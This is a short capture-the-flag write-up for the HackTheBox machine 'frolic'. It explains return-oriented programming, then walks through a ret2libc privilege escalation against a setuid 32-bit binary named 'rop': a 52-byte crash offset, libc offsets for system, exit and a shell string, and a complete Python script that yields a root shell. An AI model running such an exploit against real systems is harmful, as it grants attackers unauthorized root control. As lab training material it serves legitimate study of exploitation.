ROP or “Return-oriented programming” is an exploitation technique that allows an attacker to execute code in the presence of security defenses such as executable space protection and code signing.
Hacker can easily load the shellcode in the stack or the heap but he can’t start executing it at once. Exploiting memory corruption created by shellcode injection, the attacker get control over EIP and jumps to his code using a chain of carefully chosen ROP gadgets.
ROP gadget is a set of assembler instructions ending with ret instruction or analogs. ROP gadgets may look like:
pop eax ; pop ebp ; ret pop eax ; pop ebp ; ret 0x1c pop eax ; pop ecx ; xchg dword ptr [esp], eax ; jmp eax
While I was playing a CTF challenge “frolic” on HackTheBox, and after getting into the machine, the time came for a bit of privilege escalation, and I noticed a Binary called ROP with setuid.
Checking the binary type
www-data@frolic:/home/ayush/.binary$ file rop rop: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=59da91c100d138c662b77627b65efbbc9f797394, not stripped
As we can see above, it’s and ELF 32 bit binary file.
What is ELF?
ELF files are Executable Linkable Format which consists of symbol lookups and relocatable table, that is, it can be loaded at any memory address by the kernel and automatically, all symbols used, are adjusted to the offset from that memory address where it was loaded into. Usually, ELF files have a number of sections, such as ‘data’, ‘text’, ‘
Fuzzing the application
After a bit of playing with the application’s input figured out that 52 of A will crash the application, so let’s keep this in mind!
Let’s see what are the libraries loaded within the binary by using “ldd”
Cool, let’s search for system address within the libc.so.6 library by using a cool command “readelf”
More information about readelf command here
Let’s take a note of the “0003ada0”, and let’s now look for an exit instructions if any!
Cool, now we got an exit function location, let’s also take a note of it “0002e9d0”
What we need right now, is to find any instruction for executing a command like “bash,sh etc…”, an easy way to find it is by using “strings” command 🙂
Ok, now we have all what we need in order to develop our ROP exploit.
import os import struct base = struct.pack('<I', 0xb7e19000 + 0x0003ada0) # base system exit = struct.pack('<I', 0xb7e19000 + 0x0002e9d0) # exit command = struct.pack('<I', 0xb7e19000 + 0x15ba0b) #command /bin/bash buffer = "A" * 52 + base + exit + command os.system("/home/ayush/.binary/rop " + buffer)
Executing the exploit
Got root 🙂